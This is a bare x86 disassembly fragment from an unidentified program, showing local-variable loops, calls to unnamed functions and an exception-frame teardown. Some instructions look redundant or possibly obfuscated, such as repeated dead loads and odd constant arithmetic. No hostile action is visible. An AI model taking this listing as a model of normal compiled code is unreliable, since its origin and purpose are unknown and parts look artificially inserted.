add esp, 0xc
mov eax, dword [ebp - 0x25c]
push 0xfffffffffffffff8
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x18]
pop esi
cmp dword [ebp - 0x18], ebx
jle 0x10023164
push ecx
lea eax, [ebp - 0x80]
mov byte [ebp - 0x80], bl
push 1
push eax
call fcn.1001f0ad
add esp, 0xc
inc dword [ebp - 0x1c]
push 0xfffffffffffffff8
pop esi
cmp dword [ebp - 0x1c], 0x1d
jg 0x10023128
mov ecx, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x34]
imul ecx, eax
mov dword [ebp - 0x240], ecx
test ecx, ecx
je 0x1002334c
cmp dword [ebp - 0x248], ebx
jne 0x1002334f
mov dword [ebp - 0x70], ebx
mov eax, dword [ebp - 0x34]
xor edx, edx
cmp eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x34]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setle cl
inc eax
add eax, ecx
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xfffffffa
mov eax, dword [ebp - 0x1c]
setg cl
add eax, 0xa9286df4
add eax, ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff7
jb 0x10023390
mov ecx, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x278]
call fcn.100015a3
mov ecx, dword [ebp - 0xc]
mov eax, 0x1007e82c
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret